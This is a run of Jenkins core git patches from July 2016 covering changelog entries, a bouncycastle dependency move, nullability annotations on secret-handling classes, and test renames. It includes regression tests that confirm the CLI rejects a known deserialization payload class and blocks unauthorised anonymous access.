--git a/changelog.html b/changelog.html index 08a7506891..5c585f0045 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
+

What's new in 2.15 (2016/07/24)

+
    +
  • +

What's new in 2.14 (2016/07/17)

  • -- GitLab From ac1ff2baf4009c1cf3aa75bb99b89e67f9de6d51 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 25 Jul 2016 10:36:00 +0200 Subject: [PATCH 114/811] Noting #2446 #2453 #2455 #2463 #2464 #2465 #2466 --- changelog.html | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 5c585f0045..7855d24612 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,25 @@ Upcoming changes

    What's new in 2.15 (2016/07/24)

      -
    • +
    • + Tell browsers not to cache or try to autocomplete forms in Jenkins to prevent problems due to invalid data in form submissions. + From now on, only select form fields (e.g. job name) will offer autocompletion. + (issue 18435) +
    • + Add a cache for user information to fix performance regression due to SECURITY-243. + (issue 35493) +
    • + Prevent null pointer exceptions when not entering a cron spec for a trigger. + (issue 36748) +
    • + Defend against some fatal startup errors. + (issue 36666) +
    • + Use the icon specified by the computer implementation on its overview page. + (issue 36775) +
    • + Internal: Extract the CLI command offline-node from core. + (issue 34468)

    What's new in 2.14 (2016/07/17)

      -- GitLab From d031cc3d157db85749ca1729b40873eb506c4431 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 25 Jul 2016 10:53:08 +0200 Subject: [PATCH 115/811] Use images from ci.jenkins.io --- changelog.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/changelog.html b/changelog.html index 7855d24612..c9c9677174 100644 --- a/changelog.html +++ b/changelog.html @@ -40,11 +40,11 @@ Some tips: Help other Jenkins users by letting the community know which releases you've used, and whether they had any significant issues.
      Legend:
      - Sunny = I use it on my production site without major issues.
      - Cloudy = I don't recommend it.
      - Lightning = I tried it but rolled back to a previous version.
      View ratings below, and click one of the icons next to your version to provide your input. -- GitLab From 70a9ca4d53c1d2ff4a65709d5caadccab2a93ce9 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 25 Jul 2016 17:00:10 +0100 Subject: [PATCH 116/811] [FIXED JENKINS-36922] Upgrade to instance-identity-module 2.0 - We migrate the bcpkix dependency from instance-identity to the war's WEB-INF/lib so that the net effect is zero and we are still not exposiing the bcpkix as a transitive dependency of jenkins-core --- war/pom.xml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 7d63edd576..5843b3ceaf 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -99,7 +99,13 @@ THE SOFTWARE. org.jenkins-ci.modules instance-identity - 1.5.1 + 2.0 + + + + org.bouncycastle + bcpkix-jdk15on + 1.54 org.jenkins-ci.modules -- GitLab From 3e72adafeb006ee4f557365291a15d309a68d801 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 25 Jul 2016 17:09:24 +0100 Subject: [PATCH 117/811] [JENKINS-36923] Give ownership of bcpkix dependency to bouncycastle-api plugin --- core/src/main/java/hudson/ClassicPluginStrategy.java | 3 ++- war/pom.xml | 12 ++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/ClassicPluginStrategy.java b/core/src/main/java/hudson/ClassicPluginStrategy.java index 7164ffeef6..b9cc54fd54 100644 --- a/core/src/main/java/hudson/ClassicPluginStrategy.java +++ b/core/src/main/java/hudson/ClassicPluginStrategy.java @@ -417,7 +417,8 @@ public class ClassicPluginStrategy implements PluginStrategy { new DetachedPlugin("windows-slaves", "1.547.*", "1.0"), new DetachedPlugin("antisamy-markup-formatter", "1.553.*", "1.0"), new DetachedPlugin("matrix-project", "1.561.*", "1.0"), - new DetachedPlugin("junit", "1.577.*", "1.0") + new DetachedPlugin("junit", "1.577.*", "1.0"), + new DetachedPlugin("bouncycastle-api", "2.16.*", "2.16.0-SNAPSHOT") // TODO remove -SNAPSHOT )); /** Implicit dependencies that are known to be unnecessary and which must be cut out to prevent a dependency cycle among bundled plugins. */ diff --git a/war/pom.xml b/war/pom.xml index 5843b3ceaf..6af7f951c9 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -101,12 +101,6 @@ THE SOFTWARE. instance-identity 2.0 - - - org.bouncycastle - bcpkix-jdk15on - 1.54 - org.jenkins-ci.modules ssh-cli-auth @@ -411,6 +405,12 @@ THE SOFTWARE. 1.2-beta-4 hpi + + org.jenkins-ci.plugins + bouncycastle-api + 2.16.0-SNAPSHOT + hpi + ${project.build.directory}/${project.build.finalName}/WEB-INF/detached-plugins true -- GitLab From 03066d587f4b6f1c8c55a2a64d804b7e0c795cf3 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 25 Jul 2016 17:44:39 +0100 Subject: [PATCH 118/811] [JENKINS-36923] The PR builder should at least work for this now --- core/src/main/java/hudson/ClassicPluginStrategy.java | 2 +- war/pom.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/ClassicPluginStrategy.java b/core/src/main/java/hudson/ClassicPluginStrategy.java index b9cc54fd54..b27a911471 100644 --- a/core/src/main/java/hudson/ClassicPluginStrategy.java +++ b/core/src/main/java/hudson/ClassicPluginStrategy.java @@ -418,7 +418,7 @@ public class ClassicPluginStrategy implements PluginStrategy { new DetachedPlugin("antisamy-markup-formatter", "1.553.*", "1.0"), new DetachedPlugin("matrix-project", "1.561.*", "1.0"), new DetachedPlugin("junit", "1.577.*", "1.0"), - new DetachedPlugin("bouncycastle-api", "2.16.*", "2.16.0-SNAPSHOT") // TODO remove -SNAPSHOT + new DetachedPlugin("bouncycastle-api", "2.16.*", "2.16.0-20160725.164257-1") // TODO remove -SNAPSHOT )); /** Implicit dependencies that are known to be unnecessary and which must be cut out to prevent a dependency cycle among bundled plugins. */ diff --git a/war/pom.xml b/war/pom.xml index 6af7f951c9..485cf5e01b 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -408,7 +408,7 @@ THE SOFTWARE. org.jenkins-ci.plugins bouncycastle-api - 2.16.0-SNAPSHOT + 2.16.0-20160725.164257-1 hpi -- GitLab From 5a3823e85cf2275f8b790288307016a8d8ff935e Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 25 Jul 2016 13:12:52 -0400 Subject: [PATCH 119/811] Adding a few nullability annotations. --- .../java/hudson/model/PasswordParameterValue.java | 5 ++++- core/src/main/java/hudson/util/Secret.java | 15 ++++++++++----- 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/model/PasswordParameterValue.java b/core/src/main/java/hudson/model/PasswordParameterValue.java index d7d917ee48..9f384fbb22 100644 --- a/core/src/main/java/hudson/model/PasswordParameterValue.java +++ b/core/src/main/java/hudson/model/PasswordParameterValue.java @@ -29,12 +29,14 @@ import hudson.util.VariableResolver; import org.kohsuke.stapler.DataBoundConstructor; import java.util.Locale; +import javax.annotation.Nonnull; /** * @author Kohsuke Kawaguchi */ public class PasswordParameterValue extends ParameterValue { + @Nonnull private final Secret value; // kept for backward compatibility @@ -68,7 +70,8 @@ public class PasswordParameterValue extends ParameterValue { public boolean isSensitive() { return true; } - + + @Nonnull public Secret getValue() { return value; } diff --git a/core/src/main/java/hudson/util/Secret.java b/core/src/main/java/hudson/util/Secret.java index 0cfd9171a9..a2a2bcb971 100644 --- a/core/src/main/java/hudson/util/Secret.java +++ b/core/src/main/java/hudson/util/Secret.java @@ -42,6 +42,8 @@ import java.io.UnsupportedEncodingException; import java.io.IOException; import java.security.GeneralSecurityException; import java.util.regex.Pattern; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -62,6 +64,7 @@ public final class Secret implements Serializable { /** * Unencrypted secret text. */ + @Nonnull private final String value; private Secret(String value) { @@ -87,6 +90,7 @@ public final class Secret implements Serializable { * Before using this method, ask yourself if you'd be better off using {@link Secret#toString(Secret)} * to avoid NPE. */ + @Nonnull public String getPlainText() { return value; } @@ -144,7 +148,8 @@ public final class Secret implements Serializable { * Reverse operation of {@link #getEncryptedValue()}. Returns null * if the given cipher text was invalid. */ - public static Secret decrypt(String data) { + @CheckForNull + public static Secret decrypt(@CheckForNull String data) { if(data==null) return null; try { byte[] in = Base64.decode(data.toCharArray()); @@ -192,10 +197,9 @@ public final class Secret implements Serializable { * *

      * Useful for recovering a value from a form field. - * - * @return never null */ - public static Secret fromString(String data) { + @Nonnull + public static Secret fromString(@CheckForNull String data) { data = Util.fixNull(data); Secret s = decrypt(data); if(s==null) s=new Secret(data); @@ -207,7 +211,8 @@ public final class Secret implements Serializable { * To be consistent with {@link #fromString(String)}, this method doesn't distinguish * empty password and null password. */ - public static String toString(Secret s) { + @Nonnull + public static String toString(@CheckForNull Secret s) { return s==null ? "" : s.value; } -- GitLab From 0e8fe8745a0e9f724b64f5503a83bcb79ba88e01 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 25 Jul 2016 22:48:23 +0100 Subject: [PATCH 120/811] [JENKINS-36923] Allow snapshot resolution so the PR builder can run --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index f5eee45f9f..b1e73cac2c 100644 --- a/pom.xml +++ b/pom.xml @@ -115,7 +115,7 @@ THE SOFTWARE. true - false + true -- GitLab From a264bfca758be01777a6d4bd299e5e58a32f64cb Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 25 Jul 2016 18:38:58 -0400 Subject: [PATCH 121/811] Tests are not run unless the class name ends with "Test". --- .../groovy/hudson/cli/CLIActionTest.groovy | 87 ------- .../hudson/model/AbstractBuildTest.groovy | 188 -------------- .../test/java/hudson/PluginManagerTest2.java | 48 ---- ...va => AbstractBuildRangeCommand2Test.java} | 2 +- .../test/java/hudson/cli/CLIActionTest.java | 106 ++++++++ .../test/java/hudson/cli/CLIActionTest2.java | 70 ------ .../java/hudson/model/AbstractBuildTest.java | 234 ++++++++++++++++++ .../java/hudson/model/AbstractBuildTest2.java | 76 ------ ...nTest2.java => ParametersAction2Test.java} | 2 +- .../backwardCompatibility.zip | Bin 10 files changed, 342 insertions(+), 471 deletions(-) delete mode 100644 test/src/test/groovy/hudson/cli/CLIActionTest.groovy delete mode 100644 test/src/test/groovy/hudson/model/AbstractBuildTest.groovy delete mode 100644 test/src/test/java/hudson/PluginManagerTest2.java rename test/src/test/java/hudson/cli/{AbstractBuildRangeCommandTest2.java => AbstractBuildRangeCommand2Test.java} (99%) create mode 100644 test/src/test/java/hudson/cli/CLIActionTest.java delete mode 100644 test/src/test/java/hudson/cli/CLIActionTest2.java create mode 100644 test/src/test/java/hudson/model/AbstractBuildTest.java delete mode 100644 test/src/test/java/hudson/model/AbstractBuildTest2.java rename test/src/test/java/hudson/model/{ParametersActionTest2.java => ParametersAction2Test.java} (99%) rename test/src/test/resources/hudson/model/{ParametersActionTest2 => ParametersAction2Test}/backwardCompatibility.zip (100%) diff --git a/test/src/test/groovy/hudson/cli/CLIActionTest.groovy b/test/src/test/groovy/hudson/cli/CLIActionTest.groovy deleted file mode 100644 index 99b4437e60..0000000000 --- a/test/src/test/groovy/hudson/cli/CLIActionTest.groovy +++ /dev/null @@ -1,87 +0,0 @@ -package hudson.cli - -import hudson.Functions -import hudson.remoting.Channel -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy -import org.codehaus.groovy.runtime.Security218 -import org.junit.Assert; -import org.junit.Rule -import org.junit.Test -import org.jvnet.hudson.test.JenkinsRule -import org.jvnet.hudson.test.recipes.PresetData; -import org.jvnet.hudson.test.recipes.PresetData.DataSet; - -import java.util.concurrent.ExecutorService -import java.util.concurrent.Executors - -import static org.junit.Assert.fail - -/** - * @author Kohsuke Kawaguchi - * @author christ66 - */ -class CLIActionTest { - @Rule - public JenkinsRule j = new JenkinsRule() - - ExecutorService pool; - - /** - * Makes sure that the /cli endpoint is functioning. - */ - @Test - public void testDuplexHttp() { - pool = Executors.newCachedThreadPool() - try { - FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.URL,"cli")); - Channel ch = new Channel("test connection", pool, con.inputStream, con.outputStream); - ch.close(); - } finally { - pool.shutdown(); - } - } - - @Test - public void security218() throws Exception { - pool = Executors.newCachedThreadPool() - try { - FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.URL, "cli")); - Channel ch = new Channel("test connection", pool, con.inputStream, con.outputStream); - ch.call(new Security218()); - fail("Expected the call to be rejected"); - } catch (Exception e) { - assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name); - } finally { - pool.shutdown(); - } - - } - - @Test - public void security218_take2() throws Exception { - pool = Executors.newCachedThreadPool() - try { - new CLI(j.URL).execute([new Security218()]); - fail("Expected the call to be rejected"); - } catch (Exception e) { - assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name); - } finally { - pool.shutdown(); - } - } - - //TODO: Integrate the tests into existing ones in CLIActionTest2 - @Test - @PresetData(DataSet.NO_ANONYMOUS_READACCESS) - public void serveCliActionToAnonymousUserWithoutPermissions() throws Exception { - def wc = j.createWebClient(); - // The behavior changed due to SECURITY-192. index page is no longer accessible to anonymous - wc.assertFails("cli", HttpURLConnection.HTTP_FORBIDDEN); - } - - @Test - public void serveCliActionToAnonymousUser() throws Exception { - def wc = j.createWebClient(); - wc.goTo("cli"); - } -} diff --git a/test/src/test/groovy/hudson/model/AbstractBuildTest.groovy b/test/src/test/groovy/hudson/model/AbstractBuildTest.groovy deleted file mode 100644 index d50fb513d0..0000000000 --- a/test/src/test/groovy/hudson/model/AbstractBuildTest.groovy +++ /dev/null @@ -1,188 +0,0 @@ -/* - * The MIT License - * - * Copyright (c) 2004-2009, Sun Microsystems, Inc. - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ -package hudson.model - -import java.io.IOException; - -import com.gargoylesoftware.htmlunit.Page - -import hudson.Launcher; -import hudson.model.Descriptor; -import hudson.slaves.EnvironmentVariablesNodeProperty -import hudson.slaves.EnvironmentVariablesNodeProperty.Entry -import hudson.tasks.Builder - -import org.jvnet.hudson.test.CaptureEnvironmentBuilder -import org.jvnet.hudson.test.GroovyJenkinsRule -import org.jvnet.hudson.test.FakeChangeLogSCM -import org.jvnet.hudson.test.FailureBuilder -import org.jvnet.hudson.test.TestExtension -import org.jvnet.hudson.test.UnstableBuilder - -import static org.junit.Assert.* -import static org.hamcrest.CoreMatchers.*; - -import org.junit.Rule -import org.junit.Test -import org.jvnet.hudson.test.Issue - -public class AbstractBuildTest { - - @Rule public GroovyJenkinsRule j = new GroovyJenkinsRule(); - - @Test void variablesResolved() { - def project = j.createFreeStyleProject(); - j.jenkins.nodeProperties.replaceBy([ - new EnvironmentVariablesNodeProperty(new Entry("KEY1", "value"), new Entry("KEY2",'$KEY1'))]); - def builder = new CaptureEnvironmentBuilder(); - project.buildersList.add(builder); - - j.buildAndAssertSuccess(project); - - def envVars = builder.getEnvVars(); - assertEquals("value", envVars["KEY1"]); - assertEquals("value", envVars["KEY2"]); - } - - /** - * Makes sure that raw console output doesn't get affected by XML escapes. - */ - @Test void rawConsoleOutput() { - def out = "&"; - - def p = j.createFreeStyleProject(); - p.buildersList.add(j.builder { builder,launcher,BuildListener listener -> - listener.logger.println(out); - }) - def b = j.buildAndAssertSuccess(p); - Page rsp = j.createWebClient().goTo("${b.url}/consoleText", "text/plain"); - println "Output:\n"+rsp.webResponse.contentAsString - assertTrue(rsp.webResponse.contentAsString.contains(out)); - } - - def assertCulprits(AbstractBuild b, Collection expectedIds) { - assertEquals(expectedIds as Set, b.culprits*.id as Set); - } - - @Test void culprits() { - - def p = j.createFreeStyleProject(); - def scm = new FakeChangeLogSCM() - p.scm = scm - - // 1st build, successful, no culprits - scm.addChange().withAuthor("alice") - def b = j.assertBuildStatus(Result.SUCCESS,p.scheduleBuild2(0).get()) - assertCulprits(b,["alice"]) - - // 2nd build - scm.addChange().withAuthor("bob") - p.buildersList.add(new FailureBuilder()) - b = j.assertBuildStatus(Result.FAILURE,p.scheduleBuild2(0).get()) - assertCulprits(b,["bob"]) - - // 3rd build. bob continues to be in culprit - scm.addChange().withAuthor("charlie") - b = j.assertBuildStatus(Result.FAILURE,p.scheduleBuild2(0).get()) - assertCulprits(b,["bob","charlie"]) - - // 4th build, unstable. culprit list should continue - scm.addChange().withAuthor("dave") - p.buildersList.replaceBy([new UnstableBuilder()]) - b = j.assertBuildStatus(Result.UNSTABLE,p.scheduleBuild2(0).get()) - assertCulprits(b,["bob","charlie","dave"]) - - // 5th build, unstable. culprit list should continue - scm.addChange().withAuthor("eve") - b = j.assertBuildStatus(Result.UNSTABLE,p.scheduleBuild2(0).get()) - assertCulprits(b,["bob","charlie","dave","eve"]) - - // 6th build, success, accumulation continues up to this point - scm.addChange().withAuthor("fred") - p.buildersList.replaceBy([]) - b = j.assertBuildStatus(Result.SUCCESS,p.scheduleBuild2(0).get()) - assertCulprits(b,["bob","charlie","dave","eve","fred"]) - - // 7th build, back to empty culprits - scm.addChange().withAuthor("george") - b = j.assertBuildStatus(Result.SUCCESS,p.scheduleBuild2(0).get()) - assertCulprits(b,["george"]) - } - - @Issue("JENKINS-19920") - @Test void lastBuildNextBuild() { - FreeStyleProject p = j.createFreeStyleProject(); - AbstractBuild b1 = j.assertBuildStatusSuccess(p.scheduleBuild2(0)); - AbstractBuild b2 = j.assertBuildStatusSuccess(p.scheduleBuild2(0)); - assertEquals(b2, p.getLastBuild()); - b2.getNextBuild(); // force this to be initialized - b2.delete(); - assertEquals(b1, p.getLastBuild()); - b1 = p.getLastBuild(); - assertEquals(null, b1.getNextBuild()); - } - - @Test void doNotInterruptBuildAbruptlyWhenExceptionThrownFromBuildStep() { - FreeStyleProject p = j.createFreeStyleProject(); - p.getBuildersList().add(new ThrowBuilder()); - def build = p.scheduleBuild2(0).get(); - j.assertBuildStatus(Result.FAILURE, build); - - def log = build.log; - assertThat(log, containsString("Finished: FAILURE")); - assertThat(log, containsString("Build step 'ThrowBuilder' marked build as failure")); - } - - @Test void fixEmptyDisplayName() { - FreeStyleProject p = j.createFreeStyleProject("foo"); - p.setDisplayName(""); - assertEquals("An empty display name should be ignored.", "foo", p.getDisplayName()); - } - - @Test void fixBlankDisplayName() { - FreeStyleProject p = j.createFreeStyleProject("foo"); - p.setDisplayName(" "); - assertEquals("A blank display name should be ignored.", "foo", p.getDisplayName()); - } - - @Test void validDisplayName() { - FreeStyleProject p = j.createFreeStyleProject("foo"); - p.setDisplayName("bar"); - assertEquals("A non-blank display name should be used.", "bar", p.getDisplayName()); - } - - @Test void trimValidDisplayName() { - FreeStyleProject p = j.createFreeStyleProject("foo"); - p.setDisplayName(" bar "); - assertEquals("A non-blank display name with whitespace should be trimmed.", "bar", p.getDisplayName()); - } - - private static class ThrowBuilder extends Builder { - @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { - throw new NullPointerException(); - } - @TestExtension("doNotInterruptBuildAbruptlyWhenExceptionThrownFromBuildStep") - public static class DescriptorImpl extends Descriptor {} - } -} diff --git a/test/src/test/java/hudson/PluginManagerTest2.java b/test/src/test/java/hudson/PluginManagerTest2.java deleted file mode 100644 index f889130cb4..0000000000 --- a/test/src/test/java/hudson/PluginManagerTest2.java +++ /dev/null @@ -1,48 +0,0 @@ -package hudson; - -import java.io.File; -import java.io.IOException; -import java.net.URL; - -import javax.servlet.ServletContext; - -import org.jvnet.hudson.test.HudsonTestCase; -import org.xml.sax.SAXException; - -import com.gargoylesoftware.htmlunit.html.HtmlForm; -import com.gargoylesoftware.htmlunit.html.HtmlPage; -import org.apache.commons.io.FileUtils; - -public class PluginManagerTest2 extends HudsonTestCase { - @Override - protected void setUp() throws Exception { - setPluginManager(null); // use a fresh instance - super.setUp(); - } - - private ServletContext servletContext; - - // need to keep the ServletContext to use in the actual test - protected ServletContext createWebServer() throws Exception { - servletContext=super.createWebServer(); - return servletContext; - } - - private void uploadPlugin(String pluginName, boolean useServerRoot) throws IOException, SAXException, Exception { - HtmlPage page = new WebClient().goTo("pluginManager/advanced"); - HtmlForm f = page.getFormByName("uploadPlugin"); - File plugin; - if(useServerRoot) { - String pluginsPath=servletContext.getRealPath("WEB-INF/plugins"); - plugin = new File(pluginsPath+"/"+pluginName); - } else { - File dir = env.temporaryDirectoryAllocator.allocate(); - plugin = new File(dir, pluginName); - URL resource = getClass().getClassLoader().getResource("plugins/"+pluginName); - FileUtils.copyURLToFile(resource,plugin); - } - f.getInputByName("name").setValueAttribute(plugin.getAbsolutePath()); - submit(f); - } - -} diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest2.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java similarity index 99% rename from test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest2.java rename to test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java index 64c68f0172..d2643b2d13 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest2.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java @@ -52,7 +52,7 @@ import static org.hamcrest.Matchers.not; /** * @author pjanouse */ -public class AbstractBuildRangeCommandTest2 { +public class AbstractBuildRangeCommand2Test { private CLICommandInvoker command; diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java new file mode 100644 index 0000000000..b42a89b329 --- /dev/null +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -0,0 +1,106 @@ +package hudson.cli; + +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.Page; +import com.gargoylesoftware.htmlunit.WebRequest; +import com.gargoylesoftware.htmlunit.WebResponse; +import hudson.Functions; +import hudson.remoting.Channel; +import hudson.remoting.ChannelBuilder; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import org.codehaus.groovy.runtime.Security218; +import static org.hamcrest.Matchers.containsString; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.PresetData; +import org.jvnet.hudson.test.recipes.PresetData.DataSet; + +public class CLIActionTest { + @Rule + public JenkinsRule j = new JenkinsRule(); + + private ExecutorService pool; + + /** + * Makes sure that the /cli endpoint is functioning. + */ + @Test + public void testDuplexHttp() throws Exception { + pool = Executors.newCachedThreadPool(); + try { + FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.getURL(), "cli"), null); + Channel ch = new ChannelBuilder("test connection", pool).build(con.getInputStream(), con.getOutputStream()); + ch.close(); + } finally { + pool.shutdown(); + } + } + + @Test + public void security218() throws Exception { + pool = Executors.newCachedThreadPool(); + try { + FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.getURL(), "cli"), null); + Channel ch = new ChannelBuilder("test connection", pool).build(con.getInputStream(), con.getOutputStream()); + ch.call(new Security218()); + fail("Expected the call to be rejected"); + } catch (Exception e) { + assertThat(Functions.printThrowable(e), containsString("Rejected: " + Security218.class.getName())); + } finally { + pool.shutdown(); + } + + } + + @SuppressWarnings({"unchecked", "rawtypes"}) // intentionally passing an unreifiable argument here + @Test + public void security218_take2() throws Exception { + pool = Executors.newCachedThreadPool(); + try { + List/**/ commands = new ArrayList(); + commands.add(new Security218()); + new CLI(j.getURL()).execute(commands); + fail("Expected the call to be rejected"); + } catch (Exception e) { + assertThat(Functions.printThrowable(e), containsString("Rejected: " + Security218.class.getName())); + } finally { + pool.shutdown(); + } + } + + @Test + @PresetData(DataSet.NO_ANONYMOUS_READACCESS) + @Issue("SECURITY-192") + public void serveCliActionToAnonymousUserWithoutPermissions() throws Exception { + JenkinsRule.WebClient wc = j.createWebClient(); + // The behavior changed due to SECURITY-192. index page is no longer accessible to anonymous + wc.assertFails("cli", HttpURLConnection.HTTP_FORBIDDEN); + // so we check the access by emulating the CLI connection post request + WebRequest settings = new WebRequest(new URL(j.getURL(), "cli")); + settings.setHttpMethod(HttpMethod.POST); + settings.setAdditionalHeader("Session", UUID.randomUUID().toString()); + settings.setAdditionalHeader("Side", "download"); // We try to download something to init the duplex channel + settings = wc.addCrumb(settings); + + Page page = wc.getPage(settings); + WebResponse webResponse = page.getWebResponse(); + assertEquals("We expect that the proper POST request from CLI gets processed successfully", + 200, webResponse.getStatusCode()); + } + + @Test + public void serveCliActionToAnonymousUserWithAnonymousUserWithPermissions() throws Exception { + JenkinsRule.WebClient wc = j.createWebClient(); + wc.goTo("cli"); + } + +} diff --git a/test/src/test/java/hudson/cli/CLIActionTest2.java b/test/src/test/java/hudson/cli/CLIActionTest2.java deleted file mode 100644 index cfe7cf0555..0000000000 --- a/test/src/test/java/hudson/cli/CLIActionTest2.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * The MIT License - * - * Copyright (c) 2015 Oleg Nenashev. - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ -package hudson.cli; - -import com.gargoylesoftware.htmlunit.HttpMethod; -import com.gargoylesoftware.htmlunit.Page; -import com.gargoylesoftware.htmlunit.WebRequest; -import com.gargoylesoftware.htmlunit.WebResponse; -import java.net.URL; -import java.util.UUID; -import org.junit.Rule; -import org.junit.Test; -import org.jvnet.hudson.test.JenkinsRule; -import org.jvnet.hudson.test.recipes.PresetData; -import org.jvnet.hudson.test.recipes.PresetData.DataSet; - -import static org.junit.Assert.*; -import org.jvnet.hudson.test.Issue; - -/** - * Tests for {@link CLIAction}. - * CLIActionTest is being generated from Groovy, hence here we specify another one. - * @author Oleg Nenashev - */ -public class CLIActionTest2 { - - @Rule - public final JenkinsRule j = new JenkinsRule(); - - @Test - @PresetData(DataSet.NO_ANONYMOUS_READACCESS) - @Issue("SECURITY-192") - public void serveCliActionToAnonymousUser() throws Exception { - JenkinsRule.WebClient wc = j.createWebClient(); - - // The behavior changed due to SECURITY-192. index page is no longer accessible to anonymous, - // so we check the access by emulating the CLI connection post request - WebRequest settings = new WebRequest(new URL(j.getURL(), "cli")); - settings.setHttpMethod(HttpMethod.POST); - settings.setAdditionalHeader("Session", UUID.randomUUID().toString()); - settings.setAdditionalHeader("Side", "download"); // We try to download something to init the duplex channel - settings = wc.addCrumb(settings); - - Page page = wc.getPage(settings); - WebResponse webResponse = page.getWebResponse(); - assertEquals("We expect that the proper POST request from CLI gets processed successfully", - 200, webResponse.getStatusCode()); - } -} diff --git a/test/src/test/java/hudson/model/AbstractBuildTest.java b/test/src/test/java/hudson/model/AbstractBuildTest.java new file mode 100644 index 0000000000..15cbc0b4ff --- /dev/null +++ b/test/src/test/java/hudson/model/AbstractBuildTest.java @@ -0,0 +1,234 @@ +/* + * The MIT License + * + * Copyright (c) 2004-2015, Sun Microsystems, Inc., CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 